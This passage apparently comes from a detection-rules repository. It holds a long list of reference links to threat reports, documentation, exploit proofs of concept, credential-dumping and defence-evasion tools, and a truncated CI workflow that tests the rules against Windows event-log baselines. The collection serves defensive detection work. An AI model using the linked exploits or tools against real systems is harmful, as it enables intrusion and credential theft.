https://www.hexacorn.com/blog/2018/04/22/beyond-good-ol-run-key-part-76/\n- https://news.sophos.com/en-us/2024/08/07/sophos-mdr-hunt-tracks-mimic-ransomware-campaign-against-organizations-in-india/\n- https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html\n- https://www.cyberciti.biz/faq/show-all-running-processes-in-linux/\n- https://app.any.run/tasks/9a8fd563-4c54-4d0a-9ad8-1fe08339cbc3/\n- https://reliaquest.com/blog/threat-spotlight-inside-flax-typhoons-arcgis-compromise/\n- https://redcanary.com/blog/threat-detection/process-masquerading/\n- https://about.gitlab.com/blog/gitlab-discovers-widespread-npm-supply-chain-attack/\n- https://www.trendmicro.com/en_us/research/25/i/an-mdr-analysis-of-the-amos-stealer-campaign.html\n- https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/systeminfo\n- https://any.run/report/6eea2773c1b4b5c6fb7c142933e220c96f9a4ec89055bf0cf54accdcde7df535/a407f006-ee45-420d-b576-f259094df091\n- https://github.com/msanft/CVE-2025-55182\n- https://www.esentire.com/security-advisories/netsupport-rat-clickfix-distribution\n- https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide\n- https://github.com/h4rmy/KDU\n- https://learn.microsoft.com/en-us/dotnet/api/system.diagnostics.eventlog.clear\n- https://medium.com/@poudelswachchhanda123/preventing-lnk-and-fakecaptcha-threats-a-system-hardening-approach-2f7b7ed2e493\n- https://securelist.com/notepad-supply-chain-attack/118708/\n- https://learn.microsoft.com/en-us/troubleshoot/windows-client/installing-updates-features-roles/system-registry-no-backed-up-regback-folder\n- https://www.bleepingcomputer.com/news/security/centrestack-rce-exploited-as-zero-day-to-breach-file-sharing-servers/\n- https://asec.ahnlab.com/en/40263/\n- https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4673\n- https://rapid7.com/blog/post/2019/02/19/stack-based-buffer-overflow-attacks-what-you-need-to-know/\n- https://www.ired.team/offensive-security/lateral-movement/winrs-for-lateral-movement\n- https://github.com/rtecCyberSec/BitlockMove\n- https://github.com/nasbench/Misc-Research/blob/fc46f6da34ff7e0076da28fd3e66d6e1100f1c2f/ETW/Microsoft-Windows-SMBClient.md\n- https://www.microsoft.com/en-us/security/blog/2025/04/15/threat-actors-misuse-node-js-to-deliver-malware-and-other-malicious-payloads/\n- https://thedfirreport.com/2025/09/08/blurring-the-lines-intrusion-shows-connection-with-three-major-ransomware-gangs/\n- https://github.com/HackTricks-wiki/hacktricks/blob/e4c7b21b8f36c97c35b7c622732b38a189ce18f7/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md\n- https://reliaquest.com/blog/threat-spotlight-reliaquest-uncovers-vulnerability-behind-sap-netweaver-compromise/\n- https://gist.github.com/swachchhanda000/a0228130f86a2dedfbcebb415b47f870\n- https://www.linkedin.com/posts/kevin-beaumont-security_ive-been-assisting-a-few-orgs-hit-with-successful-activity-7268055739116445701-xxjZ/\n- https://mp.weixin.qq.com/s/wUoBy7ZiqJL2CUOMC-8Wdg\n- https://thedfirreport.com/2025/05/19/another-confluence-bites-the-dust-falling-to-elpaco-team-ransomware/\n- https://docs.stellarcyber.ai/5.2.x/Using/ML/Alert-Rule-Based-Potentially_Malicious_AWS_Activity.html\n- https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/8/html/configuring_and_managing_networking/getting-started-with-nftables_configuring-and-managing-networking\n- https://www.securityhq.com/blog/malicious-isatap-tunneling-unearthed-on-windows-server/\n- https://mrd0x.com/filefix-clickfix-alternative/\n- https://www.hackingarticles.in/defense-evasion-windows-event-logging-t1562-002/\n- https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/get-acl?view=powershell-7.4\n- https://www.huntress.com/blog/fake-browser-updates-lead-to-boinc-volunteer-computing-software\n- https://gtfobins.github.io/gtfobins/capsh/#shell\n- https://intel.thedfirreport.com/eventReports/view/70\n- http://www.hexacorn.com/blog/2020/02/05/stay-positive-lolbins-not/\n- https://securelist.com/forumtroll-apt-hacking-team-dante-spyware/117851/\n- https://www.hexacorn.com/blog/2024/01/06/1-little-known-secret-of-fondue-exe/\n- https://x.com/Max_Mal_/status/1826179497084739829\n- https://www.validin.com/blog/exploring_notepad_plus_plus_network_indicators/\n- https://www.vaadata.com/blog/what-is-command-injection-exploitations-and-security-best-practices/\n- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-24054\n- https://detect.fyi/hunting-fileless-malware-in-the-windows-registry-1339ccde00ad\n- https://www.scip.ch/en/?labs.20240523\n- https://globetech.biz/index.php/2023/05/19/evading-edr-by-dll-sideloading-in-csharp/\n- https://www.sentinelone.com/blog/exploiting-repos-6-ways-threat-actors-abuse-github-other-devops-platforms\n- https://web.archive.org/web/20230331181619/https://blog.dylan.codes/evading-sysmon-and-windows-event-logging/\n- https://www.scpx.com.au/2025/11/16/decades-old-finger-protocol-abused-in-clickfix-malware-attacks/\n- https://docs.fortinet.com/document/fortigate/7.6.4/fortios-log-message-reference/398/event\n- https://www.sophos.com/en-us/blog/sharpening-the-knife-gold-blades-strategic-evolution\n- https://www.cyberciti.biz/faq/xclip-linux-insert-files-command-output-intoclipboard/\n- https://research.splunk.com/sources/5d8bd475-c8bc-4447-b27f-efa508728b90/\n- https://learn.microsoft.com/en-us/entra/architecture/security-operations-devices#bitlocker-key-retrieval\n- https://nodejs.org/api/child_process.html#class-childprocess\n- https://www.hexacorn.com/blog/2018/04/23/beyond-good-ol-run-key-part-77/\n- https://news.sophos.com/en-us/2025/08/26/velociraptor-incident-response-tool-abused-for-remote-access/\n- https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-33053\n- https://www.wiz.io/blog/how-to-set-secure-defaults-on-aws\n- https://docs.aws.amazon.com/accounts/latest/reference/API_EnableRegion.html\n- https://blackpointcyber.com/blog/racing-to-exploit-centrestacks-cve-2025-30406/\n- https://learn.microsoft.com/en-us/sysinternals/downloads/microsoft-store\n- https://www.hexacorn.com/blog/2017/01/18/beyond-good-ol-run-key-part-55/\n- https://x.com/Threatlabz/status/1879956781360976155\n- https://github.com/rapid7/metasploit-framework/issues/11337\n- https://www.optiv.com/blog/post-exploitation-using-netntlm-downgrade-attacks\n- https://tria.ge/240731-jh4crsycnb/behavioral2\n- https://cloud.google.com/blog/topics/threat-intelligence/apt41-innovative-tactics\n- https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/set_1\n- https://github.com/Lifailon/RSA/blob/rsa/Sources/RSA-1.4.1.ps1#L1468\n- https://app.any.run/tasks/ae3c4ded-fd6a-43ed-8215-ba0ba574ad33\n- https://www.crowdstrike.com/en-us/blog/4-ways-adversaries-hijack-dlls/\n- https://web.archive.org/web/20230329154538/https://blog.menasec.net/2019/07/interesting-difr-traces-of-net-clr.html\n- https://www.hexacorn.com/blog/2020/08/23/certutil-one-more-gui-lolbin\n- https://www.cybertriage.com/artifact/terminalservices_remoteconnectionmanager_log/\n- https://learn.microsoft.com/en-us/entra/architecture/security-operations-devices#non-compliant-device-sign-in\n- https://app.any.run/tasks/5c16b4db-4b36-4039-a0ed-9b09abff8be2\n- https://itm4n.github.io/cdpsvc-dll-hijacking/\n- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-31324\n- https://www.hexacorn.com/blog/2018/05/28/beyond-good-ol-run-key-part-78-2/\n- https://learn.microsoft.com/en-us/powershell/module/dism/enable-windowsoptionalfeature?view=windowsserver2022-ps\n- https://www.group-ib.com/blog/cve-2023-38831-winrar-zero-day/\n- https://megatools.megous.com/\n- https://www.hexacorn.com/blog/2016/03/10/beyond-good-ol-run-key-part-36/\n- https://www.jamf.com/blog/infostealers-pose-threat-to-macos/\n- https://www.sentinelone.com/labs/ranzy-ransomware-better-encryption-among-new-features-of-thunderx-derivative/\n- https://github.com/codewhitesec/SysmonEnte/blob/fe267690fcc799fbda15398243615a30451d9099/screens/1.png\n- https://labs.jumpsec.com/tokensmith-bypassing-intune-compliant-device-conditional-access/\n- https://learn.microsoft.com/en-us/windows/win32/shell/shell-and-managed-code\n- https://github.com/pr0xylife/Pikabot/blob/fc58126127adf0f65e78f4eec59675523f48f086/Pikabot_22.12.2023.txt\n- https://www.safetycli.com/blog/shai-hulud-npm-attack-runs-malicious-github-action\n- https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#atypical-travel\n- https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216\n- https://trustedsec.com/blog/command-line-underdog-wmic-in-action\n- https://github.com/mulwareX/CVE-2025-6218-POC\n- https://wazuh.com/blog/how-to-detect-meshagent-with-wazuh/\n- https://securitylabs.datadoghq.com/cloud-security-atlas/vulnerabilities/iam-user-without-mfa/\n- https://www.hexacorn.com/blog/2020/08/23/odbcconf-lolbin-trifecta/\n- https://www.fortiguard.com/psirt/FG-IR-24-535\n- https://www.hexacorn.com/blog/2017/01/14/beyond-good-ol-run-key-part-53/\n- https://learn.microsoft.com/en-us/windows/win32/debug/configuring-automatic-debugging\n- https://x.com/JangPr0/status/1932034543026065833\n- https://thedfirreport.com/2024/04/01/from-onenote-to-ransomnote-an-ice-cold-intrusion/\n- https://medium.com/@msuiche/the-nsa-compromised-swift-network-50ec3000b195\n- https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/winrs\n- https://www.group-ib.com/resources/threat-research/red-curl-2.html\n- https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Privileged%20container/\n- https://www.virustotal.com/gui/file/6bb4cdbaef03b732a93559a58173e7f16b29bfb159a1065fae9185000ff23b4b\n- https://www.linkedin.com/posts/mauricefielenbach_livingofftheland-redteam-persistence-activity-7344801774182051843-TE00/\n- https://github.com/rtecCyberSec/SpeechRuntimeMove\n- https://www.aon.com/cyber-solutions/aon_cyber_labs/yours-truly-signed-av-driver-weaponizing-an-antivirus-driver/\n- https://docs.fortinet.com/document/fortigate/7.6.4/cli-reference/306021697/config-firewall-address\n- https://x.com/0x534c/status/1944694507787710685\n- https://www.loobins.io/binaries/nscurl/\n- https://gtfobins.github.io/gtfobins/gcc/#shell\n- https://docs.microsoft.com/en-us/powershell/module/appx/add-appxpackage\n- https://learn.microsoft.com/en-us/windows/client-management/mdm/policy-csp-windowsai#disableaidataanalysis\n- https://thedfirreport.com/2025/01/27/cobalt-strike-and-a-pair-of-socks-lead-to-lockbit-ransomware/\n- https://strontic.github.io/xcyclopedia/library/vbc.exe-A731372E6F6978CE25617AE01B143351.html\n- https://web.archive.org/web/20230329163438/https://blog.menasec.net/2019/02/threat-hunting-5-detecting-enumeration.html\n- https://github.com/HackTricks-wiki/hacktricks/blob/72f20a3fa26775b932bd819f1824c6377802a768/src/windows-hardening/basic-cmd-for-pentesters.md#firewall\n- https://learn.microsoft.com/en-us/windows-hardware/drivers/devtest/bcdedit--set\n- https://www.loobins.io/binaries/pbpaste/\n- https://news.ycombinator.com/item?id=29504755\n- https://awscli.amazonaws.com/v2/documentation/api/latest/reference/s3api/delete-bucket.html\n- https://www.pentestpartners.com/security-blog/living-off-the-land-gpo-style/\n- https://hopeness.medium.com/master-the-linux-mknod-command-a-comprehensive-guide-1c150a546aa8\n- https://www.hexacorn.com/blog/2015/01/13/beyond-good-ol-run-key-part-24/\n- https://juggernaut-sec.com/capabilities/#cap_setuid\n- https://securitylabs.datadoghq.com/articles/shai-hulud-2.0-npm-worm/\n- https://www.electronjs.org/docs/latest/tutorial/native-code-and-electron\n- http://www.hexacorn.com/blog/2016/03/10/beyond-good-ol-run-key-part-36/\n- https://notepad-plus-plus.org/news/v889-released/\n- https://github.com/DambergC/SaveFolder/blob/90e945eba80fae85f2d54b4616e05a44ec90c500/Cygate%20Installation%20tool%206.22/Script/OSD/OSDeployment-CredentialGuardDisable.ps1#L50\n- https://www.deepwatch.com/labs/customer-advisory-fortios-ssl-vpn-vulnerability-cve-2022-42475-exploited-in-the-wild/\n- https://cert.gov.ua/article/6284080\n- https://www.splunk.com/en_us/blog/security/threat-update-awfulshred-script-wiper.html\n- https://www.rapid7.com/blog/post/tr-chrysalis-backdoor-dive-into-lotus-blossoms-toolkit/\n- https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/\n- https://www.zscaler.com/blogs/security-research/deepseek-lure-using-captchas-spread-malware\n- https://www.microsoft.com/en-us/security/blog/2026/02/06/active-exploitation-solarwinds-web-help-desk/\n- https://www.security.com/threat-intelligence/medusa-ransomware-attacks\n- https://www.microsoft.com/en-us/security/blog/2022/12/12/iis-modules-the-evolution-of-web-shells-and-how-to-detect-them/\n- https://www.welivesecurity.com/en/eset-research/update-winrar-tools-now-romcom-and-others-exploiting-zero-day-vulnerability/\n- https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns\n- https://thecyberexpress.com/rogue-rdp-files-used-in-ukraine-cyberattacks/\n- https://cloud.google.com/blog/topics/threat-intelligence/unc3944-targets-saas-applications\n- https://www.virustotal.com/gui/file/29837d0d3202758063185828c8f8d9e0b7b42b365c8941cc926d2d7c7bae2fb3\n- https://manual.cs50.io/2/personality\n- https://blog.eclecticiq.com/china-nexus-nation-state-actors-exploit-sap-netweaver-cve-2025-31324-to-target-critical-infrastructures\n- https://en.wikipedia.org/wiki/Right-to-left_override\n- https://www.attackiq.com/2023/09/20/emulating-rhysida/\n- https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-5038\n- https://learn.microsoft.com/en-us/iis/configuration/system.webserver/httplogging\n- https://learn.microsoft.com/en-us/entra/id-protection/howto-identity-protection-configure-mfa-policy\n- https://dear-territory-023.notion.site/WebDav-Share-Testing-e4950fa0c00149c3aa430d779b9b1d0f?pvs=4\n- https://www.hexacorn.com/blog/2022/01/16/beyond-good-ol-run-key-part-135/\n- https://redcanary.com/blog/threat-intelligence/intelligence-insights-may-2025/\n- https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-id-explanations\n- https://github.com/fortra/impacket/blob/ff8c200fd040b04d3b5ff05449646737f836235d/examples/secretsdump.py\n- https://www.virustotal.com/gui/file/54d60fd58d7fa3475fa123985bfc1594df26da25c1f5fbc7dfdba15876dd8ac5/behavior\n- https://github.com/logangoins/Krueger/tree/main\n- https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf\n- https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/security-log-events\n- https://www.geeksforgeeks.org/how-to-kill-processes-on-the-linux-desktop-with-xkill/\n- https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/aws-general-policies/ensure-aws-guardduty-detector-is-enabled\n- https://github.com/varwara/CVE-2024-35250\n- https://linux.die.net/man/8/auditct\n- https://www.broadcom.com/support/security-center/protection-bulletin/funksec-ransomware\n- https://www.nccgroup.com/us/research-blog/lapsus-recent-techniques-tactics-and-procedures/\n- https://learn.microsoft.com/en-us/entra/architecture/security-operations-applications#appid-uri-added-modified-or-removed\n- https://f5-sdk.readthedocs.io/en/latest/apidoc/f5.bigip.tm.util.html#module-f5.bigip.tm.util.bash\n- https://portswigger.net/daily-swig/vmware-horizon-under-attack-as-china-based-ransomware-group-targets-log4j-vulnerability\n- https://bazaar.abuse.ch/browse/tag/one/\n- https://msrc.microsoft.com/blog/2025/07/customer-guidance-for-sharepoint-vulnerability-cve-2025-53770/\n- https://web.archive.org/web/20200530031906/https://techtalk.pcmatic.com/2017/11/30/running-dll-files-malware-analysis/\n- https://www.nextron-systems.com/2025/07/29/detecting-the-most-popular-mitre-persistence-method-registry-run-keys-startup-folder/\n- https://documentation.solarwinds.com/en/success_center/whd/content/release_notes/whd_2026-1_release_notes.htm\n- https://linux-audit.com/linux-aslr-and-kernelrandomize_va_space-setting/\n- https://docs.microsoft.com/en-us/powershell/module/powershellwebaccess/install-pswawebapplication\n- https://github.com/search?q=devcon+disable+VMWVMCIHOSTDEV\n- https://www.picussecurity.com/resource/blog/as-rep-roasting-attack-explained-mitre-attack-t1558.004\n- https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#monitoring-for-failed-unusual-sign-ins\n- https://community.openvpn.net/openvpn/wiki/ManagingWindowsTAPDrivers\n- https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4732\n- https://learn.microsoft.com/en-us/windows-hardware/manufacture/desktop/reagentc-command-line-options?view=windows-11\n- https://jgspiers.com/audit-group-policy-changes/\n- https://www.trendmicro.com/content/dam/trendmicro/global/en/research/24/b/lockbit-attempts-to-stay-afloat-with-a-new-version/technical-appendix-lockbit-ng-dev-analysis.pdf\n- https://docs.fortinet.com/document/fortigate/7.6.4/cli-reference/114404382/config-vpn-ssl-settings\n- https://github.com/arttoolkit/arttoolkit.github.io/blob/16d6230d009e58fd6f773f5317fd4d14c1f26004/_wadcoms/AMSI-Bypass-Jscript_amsienable.md\n- https://www.hexacorn.com/blog/2025/06/14/wermgr-exe-boot-offdmpsvc-dll-lolbin/\n- https://www.hexacorn.com/blog/2013/09/19/beyond-good-ol-run-key-part-4/\n- https://www.aon.com/cyber-solutions/aon_cyber_labs/linux-based-inter-process-code-injection-without-ptrace2/\n- https://learn.microsoft.com/fr-fr/windows-server/administration/windows-commands/fsutil-behavior\n- https://github.com/redcanaryco/atomic-red-team/blob/75fa21076dcefa348a7521403cdd6bfc4e88623c/atomics/T1124/T1124.md\n- https://x.com/0gtweet/status/1564131230941122561\n- https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4741\n- https://www.hexacorn.com/blog/2018/04/24/extexport-yet-another-lolbin/\n- https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#monitoring-for-successful-unusual-sign-ins\n- https://github.com/TwoSevenOneT/WSASS/blob/2c8fd9fa32143e7bc9f066e9511c6f8a57bc64b5/WSASS.cpp#L251\n- https://www.man7.org/linux/man-pages/man1/systemctl.1.html\n- https://gtfobins.github.io/gtfobins/rsync/#shell\n- https://www.trendmicro.com/en_us/research/25/f/water-curse.html\n- https://docs.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpwritedump\n- https://www.youtube.com/watch?v=uSYvHUVU8xY\n- https://www.splunk.com/en_us/blog/security/you-bet-your-lsass-hunting-lsass-access.html\n- https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4616\n- https://man7.org/linux/man-pages/man1/dmesg.1.html\n- https://www.nextron-systems.com/2024/03/22/unveiling-kamikakabot-malware-analysis/\n- https://www.group-ib.com/resources/threat-research/silence_2.0.going_global.pdf\n- https://gladinetsupport.s3.us-east-1.amazonaws.com/gladinet/securityadvisory-cve-2005.pdf\n- https://www.trellix.com/blogs/research/the-silent-fileless-threat-of-vshell/\n- https://docs.github.com/en/pages/getting-started-with-github-pages/creating-a-github-pages-site\n- https://research.checkpoint.com/2024/raspberry-robin-keeps-riding-the-wave-of-endless-1-days/\n- https://apophis133.medium.com/powershell-script-tactical-rmm-installation-45afb639eff3\n- https://bazaar.abuse.ch/sample/7bde840c7e8c36dce4c3bac937bcf39f36a6f118001b406bfbbc25451ce44fb4/\n- https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-accounts#assignment-and-elevation\n- https://www.mdsec.co.uk/2019/02/macros-and-more-with-sharpshooter-v2-0/\n- https://learn.microsoft.com/en-us/entra/architecture/security-operations-applications#application-credentials\n- https://www.microsoft.com/en-us/security/blog/2025/07/22/disrupting-active-exploitation-of-on-premises-sharepoint-vulnerabilities/\n- https://learn.microsoft.com/en-us/entra/architecture/security-operations-infrastructure\n- https://docs.github.com/en/enterprise-cloud@latest/code-security/secret-scanning/push-protection-for-repositories-and-organizations\n- https://learn.microsoft.com/en-us/windows/security/hardware-security/enable-virtualization-based-protection-of-code-integrity\n- https://hawktrace.com/blog/CVE-2025-59287-UNAUTH\n- https://docs.python.org/3/library/http.server.html\n- https://docs.fortinet.com/document/fortigate/7.6.4/fortios-log-message-reference/44547/44547-logid-event-config-objattr\n- https://ptsecurity.com/research/pt-esc-threat-intelligence/striking-panda-attacks-apt31-today\n- https://firecompass.com/crushftp-vulnerability-cve-2025-54309-securing-file-transfer-services/\n- https://learn.microsoft.com/en-us/windows/client-management/client-tools/quick-assist\n- https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#new-country\n- http://www.hexacorn.com/blog/2013/01/19/beyond-good-ol-run-key-part-3/\n- https://securelist.com/passiveneuron-campaign-with-apt-implants-and-cobalt-strike/117745/\n- https://expel.com/blog/cache-smuggling-when-a-picture-isnt-a-thousand-words/\n- https://restic.net/\n- https://woshub.com/disable-credential-guard-windows/\n- https://labs.yarix.com/2025/06/doppelganger-an-advanced-lsass-dumper-with-process-cloning/\n- https://www.virustotal.com/gui/file/d2a4f52a9923336f119a52e531bbb1e66f18322fd8efa9af1a64b94f4d36dc97\n- https://tria.ge/241231-j9yatstqbm/behavioral1\n- https://learn.microsoft.com/en-us/windows/package-manager/winget/install#local-install\n- https://learn.microsoft.com/en-us/windows-hardware/customize/desktop/unattend/microsoft-windows-terminalservices-rdp-winstationextensions-securitylayer\n- https://www.trendmicro.com/en_us/research/25/i/unmasking-the-gentlemen-ransomware.html\n- https://cloud.google.com/blog/topics/threat-intelligence/apt41-initiates-global-intrusion-campaign-using-multiple-exploits/\n- https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/delete-flow-logs.html\n- https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/takeown\n- https://research.checkpoint.com/2023/rhadamanthys-v0-5-0-a-deep-dive-into-the-stealers-components/\n- https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/start\n- https://learn.microsoft.com/en-us/visualstudio/debugger/debug-using-the-just-in-time-debugger?view=vs-2019\n- https://www.unicode.org/versions/Unicode5.2.0/ch02.pdf\n- https://www.hexacorn.com/blog/2017/07/31/the-wizard-of-x-oppa-plugx-style/\n- https://cert.gov.ua/article/6277849\n- https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.accountmanagement?view=net-8.0\n- https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.InternetExplorer::SecurityPage_AutoDetect\n- https://github.com/Azure/Azure-Sentinel/blob/master/Solutions/Amazon%20Web%20Services/Analytic%20Rules/AWS_GuardDutyDisabled.yaml\n- https://research.splunk.com/endpoint/395ed5fe-ad13-4366-9405-a228427bdd91/\n- https://help.fortinet.com/fsiem/Public_Resource_Access/7_4_0/rules/PH_RULE_AWS_GuardDuty_Detector_Deletion.htm\n- https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/reset-computermachinepassword?view=powershell-5.1\n- https://www.howtogeek.com/137270/50-file-extensions-that-are-potentially-dangerous-on-windows\n- https://www.hexacorn.com/blog/2018/04/27/i-shot-the-sigverif-exe-the-gui-based-lolbin/\n- https://www.getsafety.com/blog-posts/shai-hulud-npm-attack\n- https://gist.github.com/travisbgreen/82b68bac499edbe0b17dcbfa0c5c71b7\n- https://stackoverflow.com/questions/66011412/how-to-clear-a-event-log-in-powershell-7\n- https://www.cyberciti.biz/tips/linux-iptables-how-to-flush-all-rules.html\n- https://www.reverse.it/sample/0b4ef455e385b750d9f90749f1467eaf00e46e8d6c2885c260e1b78211a51684?environmentId=100\n- https://www.pcrisk.com/removal-guides/31853-funklocker-funksec-ransomware\n- https://www.joesandbox.com/analysis/1467354/0/html\n- https://help.fortinet.com/fsiem/Public_Resource_Access/7_2_1/rules/PH_RULE_AWS_Management_Console_Brute_Force_of_Root_User_Identity.htm\n- https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-how-to-configure-security-alerts#roles-are-being-activated-too-frequently\n- https://www.synacktiv.com/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025\n- https://developer.broadcom.com/xapis/esxcli-command-reference/7.0.0/namespace/esxcli_system.html\n- https://github.com/bobby-tablez/TTP-Threat-Feeds/blob/45398914e631f8372c3a9fbcd339ff65ffff1b17/results/2025/10/20251001-161956-trendmicro-atomic-macos-stealer-(amos).yml#L44\n- https://www.fortinet.com/blog/threat-research/evolution-of-chaos-ransomware-faster-smarter-and-more-dangerous\n- https://us-cert.cisa.gov/ncas/alerts/aa21-259a\n- https://research.splunk.com/endpoint/3742ebfe-64c2-11eb-ae93-0242ac130002\n- https://redcanary.com/threat-detection-report/techniques/installer-packages/\n- https://docs.fortinet.com/document/fortigate/7.6.4/cli-reference/113121765/config-vpn-ssl-web-portal\n- https://learn.microsoft.com/en-us/sql/t-sql/statements/drop-table-transact-sql?view=sql-server-ver16\n- https://learn.microsoft.com/en-us/entra/architecture/security-operations-applications#application-granted-highly-privileged-permissions\n- https://blog.sekoia.io/scattered-spider-laying-new-eggs/\n- https://www.kroll.com/en/insights/publications/cyber/cactus-ransomware-prickly-new-variant-evades-detection\n- https://www.binarly.io/blog/design-issues-of-modern-edrs-bypassing-etw-based-solutions\n- https://web.archive.org/web/20180203014709/https://blog.alsid.eu/dcshadow-explained-4510f52fc19d?gi=c426ac876c48\n- https://labs.watchtowr.com/expression-payloads-meet-mayhem-cve-2025-4427-and-cve-2025-4428/?123\n- https://github.com/EvotecIT/TheDashboard/blob/481a9ce8f82f2fd55fe65220ee6486bae6df0c9d/Examples/RunReports/PingCastle.ps1\n- https://www.hexacorn.com/blog/2023/12/26/1-little-known-secret-of-runonce-exe-32-bit/\n- https://man7.org/linux/man-pages/man8/setcap.8.html\n- https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/List%20K8S%20secrets/\n- http://www.hexacorn.com/blog/2019/03/30/sqirrel-packages-manager-as-a-lolbin-a-k-a-many-electron-apps-are-lolbins-by-default/\n- https://sysdig.com/blog/detecting-and-mitigating-cve-2024-12084-rsync-remote-code-execution/\n- https://docs.github.com/en/repositories/creating-and-managing-repositories/transferring-a-repository\n- https://catalyst.prodaft.com/public/report/inside-the-latest-espionage-campaign-of-nebulous-mantis\n- https://docs.github.com/en/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#migration\n- https://web.archive.org/web/20200601000524/https://cyberx-labs.com/blog/gangnam-industrial-style-apt-campaign-targets-korean-industrial-companies/\n- https://web.archive.org/web/20170909091934/https://blog.binarydefense.com/reliably-detecting-pass-the-hash-through-event-log-analysis\n- https://learn.microsoft.com/en-us/windows/win32/vss/vshadow-tool-and-sample\n- https://viz.greynoise.io/tags/hello-world-scraper-botnet?days=30\n- https://adsecurity.org/?p=1785\n- https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/deployment/deploy-appcontrol-policies-using-group-policy\n- https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules\n- https://reliaquest.com/blog/threat-spotlight-cve-2025-54309-crushftp-exploit/\n- https://app.any.run/tasks/8901e2d5-0c5a-48ba-a8e9-10b5ed7e06f4\n- https://huntress.com/blog/esxi-vm-escape-exploit\n- https://unit42.paloaltonetworks.com/microsoft-cve-2025-59287/\n- https://www.dsinternals.com/en/dpapi-backup-key-theft-auditing/\n- https://docs.datadoghq.com/security/default_rules/719-39f-9cd/\n- https://support.kaspersky.com/KES4Linux/12.0.0/en-US/197929.htm\n- https://taggart-tech.com/evildeno/\n- https://medium.com/@ninnesoturan/detecting-ipv6-dns-takeover-a54a6a88be1f\n- https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7\n- https://app.any.run/tasks/ea944b89-69d8-49c8-ac1f-5c76ad300db2\n"
},
{
"path": ".github/workflows/goodlog-tests.yml",
"content": "# This workflow will install Python dependencies, run tests and lint with a single version of Python\n# For more information see: https://help.github.com/actions/language-and-framework-guides/using-python-with-github-actions\n\nname: Goodlog Tests\n\non: [push, pull_request, merge_group, workflow_dispatch]\n\nenv:\n EVTX_BASELINE_VERSION: v0.8.4\n\njobs:\n check-baseline-win7:\n runs-on: ubuntu-latest\n steps:\n - uses: actions/checkout@v5\n - name: Download evtx-sigma-checker\n run: wget --no-verbose https://github.com/NextronSystems/evtx-baseline/releases/download/$EVTX_BASELINE_VERSION/evtx-sigma-checker\n - name: Download and extract Windows 7 32-bit baseline\n run: |\n wget --no-verbose https://github.com/NextronSystems/evtx-baseline/releases/download/$EVTX_BASELINE_VERSION/win7-x86.tgz\n tar xzf win7-x86.tgz\n - name: Check for Sigma matches in baseline\n run: |\n chmod +x evtx-sigma-checker\n ./evtx-sigma-checker --log-source tests/thor.yml --evtx-path win7_x86/ --rule-path rules/windows/ --rule-path rules-emerging-threats/ --rule-path rules-threat-hunting/ > findings.json\n - name: Show findings excluding known FPs\n run: |\n chmod +x .github/workflows/matchgrep.sh\n ./.github/workflows/matchgrep.sh findings.json .github/workflows/known-FPs.csv\n\n check-baseline-win10:\n runs-on: ubuntu-latest\n steps:\n - uses: actions/checkout@v5\n - name: Download evtx-sigma-checker\n run: wget --no-verbose https://github.com/NextronSystems/evtx-baseline/releases/download/$EVTX_BASELINE_VERSION/evtx-sigma-checker\n - name: Download and extract Windows 10 baseline\n run: |\n wget --no-verbose https://github.com/NextronSystems/evtx-baseline/releases/download/$EVTX_BASELINE_VERSION/win10-client.tgz\n tar xzf win10-client.tgz\n - name: Check for Sigma matches in baseline\n run: |\n chmod +x evtx-sigma-checker\n ./evtx-sigma-checker --log-source tests/thor.yml --evtx-path Logs_Client/ --rule-path rules/windows/ --rule-path rules-emerging-threats/ --rule-path rules-threat-hunting/ > findings.json\n - name: Show findings 